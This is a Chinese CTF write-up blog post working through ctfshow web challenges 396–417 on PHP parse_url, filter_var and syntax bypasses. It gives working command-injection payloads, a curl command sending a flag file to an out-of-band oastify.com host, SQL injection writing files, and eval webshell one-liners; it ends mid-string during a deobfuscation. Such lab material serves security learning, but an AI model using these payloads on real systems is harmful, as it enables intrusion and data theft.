WEB入门——其他
https://blog.csdn.net/weixin_46263867/article/details/150577271
特定函数绕过
web396
<?php
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
shell_exec('echo '.$url['host'].'> '.$url['path']);
}else{
highlight_file(__FILE__);
}
试验:
<?php
$url = 'http://`cat fl0g.php`/var/www/html/1.txt';
$url = parse_url($url);
echo "host:".$url['host'];
echo "path:".$url['path'];
?>
思路1:反引号执行系统命令
?url=http://`cat fl0g.php`/var/www/html/1.txt
host:`cat fl0g.php`
path:/var/www/html/1.txt
思路2:$()执行系统命令
?url=http://$(cat fl0g.php)/var/www/html/1.txt
host:$(cat fl0g.php)
path:/var/www/html/1.txt
思路3:分号截断命令
?url=http://1/1;echo `cat fl0g.php` > 1.txt
host:1
path:/1;echo `cat fl0g.php` > 1.txt
curl外带
?url=http://www.baidu.com/1.php;curl -X POST -d "flag=`cat fl0g.php`" http://orjrnxpwjm5pj4v6edvoqs1lscy3mtai.oastify.com;
host:www.baidu.com
path:/1.php;curl -X POST -d "flag=`cat fl0g.php`" http://orjrnxpwjm5pj4v6edvoqs1lscy3mtai.oastify.com;
web397
<?php
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}else{
highlight_file(__FILE__);
}
这次把内容写进了/tmp目录里
因为/tmp是在根目录,用../返回上一级即可,方法跟之前一样
?url=http://`cat fl0g.php`/../var/www/html/1.txt
?url=http://$(cat fl0g.php)/../var/www/html/1.txt
?url=http://1/1;echo `cat fl0g.php` > 1.txt
web398
<?php
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(!preg_match('/;/', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}
}else{
highlight_file(__FILE__);
}
过滤了;
?url=http://`cat fl0g.php`/../var/www/html/1.txt
?url=http://$(cat fl0g.php)/../var/www/html/1.txt
web399
<?php
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(!preg_match('/;|>/', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}
}else{
highlight_file(__FILE__);
}
过滤了;、>
?url=http://`cat fl0g.php`/../var/www/html/1.txt
?url=http://$(cat fl0g.php)/../var/www/html/1.txt
web400
<?php
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(!preg_match('/;|>|http|https/i', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}
}else{
highlight_file(__FILE__);
}
过滤了;、>、http、https
?url=http://`cat fl0g.php`/../var/www/html/1.txt
?url=http://$(cat fl0g.php)/../var/www/html/1.txt
web401
<?php
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
var_dump($url);
if(!preg_match('/;|>|http|https|\|/i', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}
}else{
highlight_file(__FILE__);
}
过滤了;、>、http、https、\
?url=http://`cat fl0g.php`/../var/www/html/1.txt
?url=http://$(cat fl0g.php)/../var/www/html/1.txt
web402
<?php
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
var_dump($url);
if(preg_match('/http|https/i', $url['scheme'])){
die('error');
}
if(!preg_match('/;|>|\||base/i', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}
}else{
highlight_file(__FILE__);
}
对scheme协议做了过滤,要求不能出现http和https,随便输入个东西替换即可
试验:
<?php
$url = '1://`cat fl0g.php`/../var/www/html/1.txt';
$url = parse_url($url);
echo "host:".$url['host'];
echo "path:".$url['path'];
echo "scheme:".$url['scheme'];
?>
返回:
host:`cat fl0g.php`
path:/../var/www/html/1.txt
scheme:1
?url=1://`cat fl0g.php`/../var/www/html/1.txt
?url=1://$(cat fl0g.php)/../var/www/html/1.txt
web403
<?php
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}
}else{
highlight_file(__FILE__);
}
((2[0-4]\d|25[0-5]|[1]?\d\d?)\.){3} :匹配前三段,每段数字+点。每段数字规则如下:
2[0-4]\d:匹配200-249
25[0-5]:匹配250-255
?\d\d?:匹配0-199(包括1位、2位、3位数字,即0-9、00-99、100-199)
综合起来,这个正则表达式能精确匹配0.0.0.0~255.255.255.255范围内的IPv4地址格式
思路3可以用:
?url=http://127.0.0.1/1;echo `cat fl0g.php` > 1.txt
web404
/404.php
<?php
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}
}
}else{
highlight_file(__FILE__);
}
比上题多了个正则匹配:
if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){
这个正则表达式检测的字符串必须是
以斜杠 / 开头,斜杠后面跟着至少一个字母或数字,整个字符串中不能有空格或其他符号
如:
/abc/A1B2C3/12345
host部分的正则匹配也改了
if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
但因为最后的.是匹配任意字符,该正则会匹配形如“192.168.1.1a”或“10.0.0.1/”这类,可以用分号截断命令
?url=http://127.0.0.1;echo `cat fl0g.php` > 1.txt;/1
web405
<?php
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){
if(preg_match('/\~|\.|php/', $url['scheme'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}
}
}
}else{
highlight_file(__FILE__);
echo 'parse_url 好强大';
}
这次多了对scheme的检测,要求必须包含波浪号、点号、php字符其中之一
preg_match('/\~|\.|php/', $url['scheme']
改一下协议
?url=php://127.0.0.1;echo `cat fl0g.php` > 1.txt;/1
web406
<?php
require 'config.php';
//flag in db
highlight_file(__FILE__);
$url=$_GET['url'];
if(filter_var ($url,FILTER_VALIDATE_URL)){
$sql = "select * from links where url ='{$url}'";
$result = $conn->query($sql);
}else{
echo '不通过';
}
源码提示flag in db,说明flag放在数据库。
然后对传入的参数url进行了过滤,FILTER_VALIDATE_URL:
会判断提交的url是不是一个正确url,不能包含%20,%0a,%0b,%0c,%0d,可以使用/**/注释代替空格
思路1:sql查询
爆数据库
?url=http://127.0.0.1/index.php'union/**/select/**/1,group_concat(schema_name)/**/from/**/information_schema.schemata/**/into/**/outfile/**/'/var/www/html/2.txt'#
爆表 在当前数据库看到flag的表
url=http://127.0.0.1/index.php'union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/into/**/outfile/**/'/var/www/html/3.txt'#
爆字段 发现flag表中有三个字段,flag,id,url
url=http://127.0.0.1/index.php'union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/into/**/outfile/**/'/var/www/html/4.txt'#
拿flag
?url=http://127.0.0.1/index.php'union/**/select/**/1,flag/**/from/**/flag/**/into/**/outfile/**/'/var/www/html/5.txt'#
思路2:联合注入写入webshell
?url=http://127.0.0.1/'union/**/select/**/1,'<?=eval($_POST[1]);?>'/**/into/**/outfile/**/'/var/www/html/1.php#

找到密码


web407
<?php
highlight_file(__FILE__);
error_reporting(0);
$ip=$_GET['ip'];
if(filter_var ($ip,FILTER_VALIDATE_IP)){
call_user_func($ip);
}
class cafe{
public static function add(){
echo file_get_contents('flag.php');
}
}
可以用::来调用函数
?ip=cafe::add
解释:
cafe::add会被当成IPv6地址,从而通过FILTER_VALIDATE_IP验证
web408
<?php
highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
file_put_contents(explode('@', $email)[1], explode('@', $email)[0]);
}
这次改成了验证是否满足邮箱格式了
FILTER_VALIDATE_EMAIL 是 PHP 内置的一个专门用来验证电子邮件格式是否合法的过滤器
它会根据RFC 5322标准对邮箱格式做校验,包括:
检查是否存在且且只有一个 @ 符号
@ 前面的部分是邮箱用户名,允许的字符包括字母、数字、点 (.)、下划线 (_) 和连字符 (-) 等
@ 后面的部分是邮箱域名,必须包含有效的域名格式,比如 example.com,包含至少一个点号 (.),并且顶级域名部分也要正确
避免使用不合法或不允许的特殊字符
验证邮箱的整体格式符合国际标准,不过不验证邮箱是否真实存在
把非法字符放在双引号里绕过email@的前缀限制:
?email="<?=eval($_POST[1]);?>"@1.php

web409
<?php
highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
$email=preg_replace('/.flag/', '', $email);
eval($email);
}
会过滤掉任意字符后的flag,这题我们可以通过闭合PHP代码来做
把非法字符放在双引号里绕过email@的前缀限制,然后再通过替换去掉最前面的双引号,后面的?>完成闭合
?email="flageval($_POST[1]);?>"@1.com
POST:
1=system('nl /flag');
web410
<?php
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
if($b=='true' || intval($b)>0){
die('FLAG NOT HERE');
}else{
echo $flag;
}
}
FILTER_VALIDATE_BOOLEAN
会把下列字符串(不区分大小写)视为true
"1""true""on""yes"
以下对应的字符串(不区分大小写)视为false:"0""false""off""no"""(空字符串)
题目过滤了大于0的数字和true字符串,那我们传入on和yes都可以,大小写都行
?b=yes
?b=on
web411
<?php
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
if($b=='true' || intval($b)>0 ||$b=='on' || $b=='ON'){
die('FLAG NOT HERE');
}else{
echo $flag;
}
}
跟上题一样,不过这次把on的大小写过滤了
?b=yes
?b=TRUE
语法绕过
web412
<?php
highlight_file(__FILE__);
$ctfshow=$_POST['ctfshow'];
if(isset($ctfshow)){
file_put_contents('flag.php', '//'.$ctfshow,FILE_APPEND);
include('flag.php');
}
POST传参ctfshow,然后添加到flag.php末尾,同时前面还有个注释符//
解决:用%0a换行
POST:
ctfshow=%0aeval($_POST[1]);
web413
<?php
highlight_file(__FILE__);
$ctfshow=$_POST['ctfshow'];
if(isset($ctfshow)){
file_put_contents('flag.php', '/*'.$ctfshow.'*/',FILE_APPEND);
include('flag.php');
ctfshow变量被包含在多行注释符/**/里面了
解决:只需前后加个注释符即可
ctfshow=*/eval($_POST[1]);/*
web414
<?php
highlight_file(__FILE__);
include('flag.php');
$ctfshow=$_GET['ctfshow'];
if($ctfshow==true){
if(sqrt($ctfshow)>=sqrt(intval($flag))){
echo 'FLAG_NOT_HERE';
}else{
echo $flag;
}
}
判断变量$ctfshow是否等于true,只有在$ctfshow为真时,才会执行内部判断
sqrt()是取平方根函数
intval($flag)将$flag转换为整数
判断$ctfshow的平方根是否大于等于$flag整数值的平方根
传入非零负数即可成功通过验证
?ctfshow=-1
web415
<?php
error_reporting(0);
highlight_file(__FILE__);
$k = $_GET[k];
function getflag(){
echo file_get_contents('flag.php');
}
if($k=='getflag'){
die('FLAG_NOT_HERE');
}else{
call_user_func($k);
}
在PHP中,函数名是不区分大小写的,这意味着定义函数时用的名字
如getflag(),在调用时可以写成getflag()、GetFlag()、GETFLAG()等,都会被正确识别并调用
?k=getFlag
?k=GetFlag
?k=GETFLAG
web416
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctf{
public function getflag(){
return 'fake flag';
}
final public function flag(){
echo file_get_contents('flag.php');
}
}
class show extends ctf{
public function __construct($f){
call_user_func($f);
}
}
echo new show($_GET[f]);
我们要调用的是ctf类中的flag方法,直接用双冒号操作符即可
双冒号操作符主要用于:
- 访问类的静态属性和静态方法
- 访问类的常量
- 调用父类(
parent::)、当前类(self::)、或静态绑定类(static::)的成员
?f=ctf::flag
web417
<?php /*ctfshow*/
define('aPeKTP0126', __FILE__);
$cIYMfW = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$CBhSfw = $cIYMfW[3] . $cIYMfW[6] . $cIYMfW[33] . $cIYMfW[30];
$xWoIVy = $cIYMfW[33] . $cIYMfW[10] . $cIYMfW[24] . $cIYMfW[10] . $cIYMfW[24];
$RkEEuV = $xWoIVy[0] . $cIYMfW[18] . $cIYMfW[3] . $xWoIVy[0] . $xWoIVy[1] . $cIYMfW[24];
$YFfKrW = $cIYMfW[7] . $cIYMfW[13];
$CBhSfw .= $cIYMfW[22] . $cIYMfW[36] . $cIYMfW[29] . $cIYMfW[26] . $cIYMfW[30] . $cIYMfW[32] . $cIYMfW[35] . $cIYMfW[26] . $cIYMfW[30];
eval ($CBhSfw("密文2")); ?>
$cIYMfW = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$CBhSfw = $cIYMfW[3] . $cIYMfW[6] . $cIYMfW[33] . $cIYMfW[30];
$xWoIVy = $cIYMfW[33] . $cIYMfW[10] . $cIYMfW[24] . $cIYMfW[10] . $cIYMfW[24];
$RkEEuV = $xWoIVy[0] . $cIYMfW[18] . $cIYMfW[3] . $xWoIVy[0] . $xWoIVy[1] . $cIYMfW[24];
$YFfKrW = $cIYMfW[7] . $cIYMfW[13];
$CBhSfw .= $cIYMfW[22] . $cIYMfW[36] . $cIYMfW[29] . $cIYMfW[26] . $cIYMfW[30] . $cIYMfW[32] . $cIYMfW[35] . $cIYMfW[26] . $cIYMfW[30];
echo $CBhSfw;
echo $xWoIVy;
echo $RkEEuV;
echo $YFfKrW;
echo $CBhSfw;
得到:
base64_decode
strtr
substr
52
base64_decode
base64解密密文返回:
$jXjtKd="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";
eval('?>'.$CBhSfw($xWoIVy($RkEEuV($jXjtKd,$YFfKrW*2),$RkEEuV($jXjtKd,$YFfKrW,$YFfKrW),$RkEEuV($jXjtKd,0,$YFfKrW))));
替换:
eval('?>'.base64_decode(strtr(substr($jXjtKd,52*2),substr($jXjtKd,52,52),substr($jXjtKd,0,52))));
改成echo:
echo('?>'.base64_decode(strtr(substr($jXjtKd,52*2),substr($jXjtKd,52,52),substr($jXjtKd,0,52))));
运行返回:
<?php /*ctfshow*/
define('aPeKTP0126', __FILE__);
define('JJDazS0126', aPeKTP0126);
$aTwfpK = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$MSvnNx = $aTwfpK[3] . $aTwfpK[6] . $aTwfpK[33] . $aTwfpK[30];
$chTTyc = $aTwfpK[33] . $aTwfpK[10] . $aTwfpK[24] . $aTwfpK[10] . $aTwfpK[24];
$pBPqxF = $chTTyc[0] . $aTwfpK[18] . $aTwfpK[3] . $chTTyc[0] . $chTTyc[1] . $aTwfpK[24];
$CVpmWr = $aTwfpK[7] . $aTwfpK[13];
$MSvnNx .= $aTwfpK[22] . $aTwfpK[36] . $aTwfpK[29] . $aTwfpK[26] . $aTwfpK[30] . $aTwfpK[32] . $aTwfpK[35] . $aTwfpK[26] . $aTwfpK[30];
eval($MSvnNx("JFluSEpmdz0ieVBMb3NqdEd4VldZWHBjaFVEU0lBUkNOZm1IZHFFd2VibHZNUVpraUtPenVCVGdKckZhbmthclRXamh5c1pBSk5JVnRPeGxpSGRnQ0ZHUE1uUm1TcVVRdWZ6WUxEdnBFZVhjS0Jid29heDltd1BIY2FwND0iO2V2YWwoJz8+Jy4kTVN2bk54KCRjaFRUeWMoJHBCUHF4RigkWW5ISmZ3LCRDVnBtV3IqMiksJHBCUHF4RigkWW5ISmZ3LCRDVnBtV3IsJENWcG1XciksJHBCUHF4RigkWW5ISmZ3LDAsJENWcG1XcikpKSk7")); ?><?php define('ydakfw0126', aPeKTP0126);
$MhxWeB = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$gmbLTd = $MhxWeB[3] . $MhxWeB[6] . $MhxWeB[33] . $MhxWeB[30];
$zeDLjZ = $MhxWeB[33] . $MhxWeB[10] . $MhxWeB[24] . $MhxWeB[10] . $MhxWeB[24];
$lIZGSI = $zeDLjZ[0] . $MhxWeB[18] . $MhxWeB[3] . $zeDLjZ[0] . $zeDLjZ[1] . $MhxWeB[24];
$FuqauZ = $MhxWeB[7] . $MhxWeB[13];
$gmbLTd .= $MhxWeB[22] . $MhxWeB[36] . $MhxWeB[29] . $MhxWeB[26] . $MhxWeB[30] . $MhxWeB[32] . $MhxWeB[35] . $MhxWeB[26] . $MhxWeB[30];
eval($gmbLTd("JE5wbWpIcT0iQkFwUUxjeVNnckpvZER0YkdZd3NhZlZaUFVUbkZsaVJxektDbWVPaGp4WHVOdkVXa0hNSVRDaW1KeWZTQXNQdEtSZ0hJZVVZbFF3RnB1TWhXTFpjZHh6cUJrcm9ERU52T2JWblhHamFwUjlVbEdDT3FBMHpKZnRPcVpqQUpTdGdhSU9iRklMdkZ4dEFLTmNCSk1BQUpTdGdSbXREYVZUVEtOY3RIM2E2YUlBRWtJVk9xWmpBbVZjb0tJdTZhcUNBakRDZmpTMFVqUzBmT1NDZmp4dFVPeHRmam0wemFmVENNSVd4S3FUT0gyY2lGQkxMRnFUWmtNdEFhcVR0ak5vb1JtdERhVlRqZU5PMGFWMWJGSUxCbG53WGFHY2lIbnU2YVJhVWpEVmdqUlZnakRlQWpEQzZPTWE2akRqT3FaakFtSXdnZW5MWXJaVHRqTm9vbUlPMEZCd2ZKQk9iSG0wemFmVENISUx2bHh0QWxHYzB5R2o2SmY5REtJRkx5WjVESDIwT3FBMHp6WjhPcUJ3ZnlCOWZOM1BMeUk5ZktJTHZGZkFVek1ZT3FCTHZlMkUxRkl1dFAyRlllbnl2eUlvVVBmWDdSbXRYZXgwWE4wS1d3V1loZTNjQlAxMDdSbWlpRlpBWGV4MDlQM090SDN5aHpOWU9xQUxMZTJvYmFxY0JISVdoclUwelFud1l5Mnc3Um10UEZuT3RIZkNoY1hFVGMxOXJNMWNRU1Z3U2NTeTdSbWk5IjtldmFsKCc/PicuJGdtYkxUZCgkemVETGpaKCRsSVpHU0koJE5wbWpIcSwkRnVxYXVaKjIpLCRsSVpHU0koJE5wbWpIcSwkRnVxYXVaLCRGdXFhdVopLCRsSVpHU0koJE5wbWpIcSwwLCRGdXFhdVopKSkpOw==")); ?>
直接改成echo
解密过程:eval改成echo,然后把输出结果替换eval这一行,最终出结果
<?php /*ctfshow*/ define('aPeKTP0126', __FILE__);
$cIYMfW = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$CBhSfw = $cIYMfW[3] . $cIYMfW[6] . $cIYMfW[33] . $cIYMfW[30];
$xWoIVy = $cIYMfW[33] . $cIYMfW[10] . $cIYMfW[24] . $cIYMfW[10] . $cIYMfW[24];
$RkEEuV = $xWoIVy[0] . $cIYMfW[18] . $cIYMfW[3] . $xWoIVy[0] . $xWoIVy[1] . $cIYMfW[24];
$YFfKrW = $cIYMfW[7] . $cIYMfW[13];
$CBhSfw .= $cIYMfW[22] . $cIYMfW[36] . $cIYMfW[29] . $cIYMfW[26] . $cIYMfW[30] . $cIYMfW[32] . $cIYMfW[35] . $cIYMfW[26] . $cIYMfW[30];
$jXjtKd = "jpQDukbGwynZmiVzMfsJCoHFNrqIBShdPAxLOKEgWtvUTeRXaYlcTcRCZunVmjGUKHeIfOdYXsDkSpMQEitxNrAlzaqwPBbJgFvWoyhLNC9moDrwUVeKoP5haXxaiuvtFhfmfgQ2YjAtJVelekrmfgQ2agduyev3UGElNWejnVvhy29uUiwHYgUkfiJ3RiJ2fHJjvHJ2vXJ2fgJhSJfhSIyhSIRmYgy5fTwhfuRhSIrhSIwhSIJhSIqhSIuhfuq2YgUCYgLjYgUXYgy0Ygy3ziJ1vHJ2SiJ2zXJ2fjJ3fjJ3SjJ2vTRhfuQhSTyISjJ2RiQczjvSJ3UZgGw9YVkJx2Umi1dIWi4uyev3UGElPIUxlHvteDxKLqBnfISxlHvteDxKLqBnfIExzjvTokvJFPf9YVkJx2Umi1dIf10ZYVkJx2Umi1dAfk0ZYVkJx2Umi1djSk0ZYVkJx2Umi1dAfk0ZYVkJx2Umi1djSk07YDEXJDk4vT0uy2tJeDhTPIExlHvteDxKLqBnfgtxlHvteDxKLqBnf10ZYVSsekv5y1dmWi4uy2tJeDhTPIkxlHvteDxKLqBnfTvxzjvCeGEBe3Q9YVkJx2Umi1d3Wi4uyev3UGElPIqIWgdugeS2nu54lT0uyev3UGElPIQjWi4uyev3UGElPIf2Wi4uyev3UGElPIQ5Wi4uyev3UGElPIQ2Wi4uyev3UGElPIfmWi4uyev3UGElPIfjWi4uyev3UGElPIf1Wi4uyev3UGElPIQ2Wi4uyev3UGElPIfmWgBhxKkdaXvSJ3UZgGwsQucVnDegvWEBUDsmoPePRu1Hf05AUqeuSkUdUkcWiqYMyJUPveJmnqYeo05NPK0AiecQvuUufhUcyutoghePLDYteWvRUP5PR1UDUqBTo1csyK10oVSdJhttnPw1yIkmRhSpSJcPnhYRUJx4LkSDJK5vfkcQeJJAxeeBfevTehUiUkxoShxeFqeunuYVPhUsohfmiKhufThsUJvdxVRARuhUfuU3guRmoJ8jeTYUe3xbiGs4a0c5SVBJeu4jyKd1SqBCJKctvhYeUexSn0cQRuSeiqy0JKhGo1xWSJhgnesIgqSivkUZRGvPf0hAgPhpL0cQRuSeiqy0JKhGo1xWSJhgnesIgqSivkUZRGvPf0hIiueze2SDfetToPBIiutXR1eQvTvioPxpe1L1ieSBPTSfvqkIiueze2SDfetToPBmi1SpSjQcagd/NTm/LVtmQVvhUKhZUiwGFPvto2U3fCqjSHLdyeEhi1vRfCqjSHu7Yq1sFkxhRT11LKAuUPSbUVJsQHJ2vgqhS0qhSTQhfuyhSuRhSTq1YgeCYgL2YgL0fXJ2zgQ4YgYqYgLmYgL4YgL1YgLAYgL5YgYESHJ2RjJ3fHJ2RHJ2SXJ2SIuhSJyhSTJhSTwhSTfhSIfhSILhSuy0YgYXYgy2fILhSuqHagduU21HgkvuNivSoDtWUJYnf10ZYq1sFkxhRhd2Wi4ugPt4e2eXPIfIWi4ugPt4e2eXPIfmWgduFKeqgVcoNivSoDtWUJYnfISxlHvSoDtWUJYnfgExlHvSoDtWUJYnfTvxlHvSoDtWUJYnfgExlHvSoDtWUJYnfTvxzjvdiecDJ0u9YDchvqAMPhdmWi4ugPt4e2eXPIq4Wi4ugPt4e2eXPISxlHv6UJvfohcnfk0ZYDchvqAMPhdAWi4ugPt4e2eXPIQ0WgduvGeAyWeoNivSoDtWUJYnS10ZYq1sFkxhRhdAf107YVxByuAJUX49Yq1sFkxhRhdjfh0ZYq1sFkxhRhdISh0ZYq1sFkxhRhdjze0ZYq1sFkxhRhdjSh0ZYq1sFkxhRhdIfk0ZYq1sFkxhRhdIfh0ZYq1sFkxhRhdISe0ZYq1sFkxhRhdjSh0ZYq1sFkxhRhdI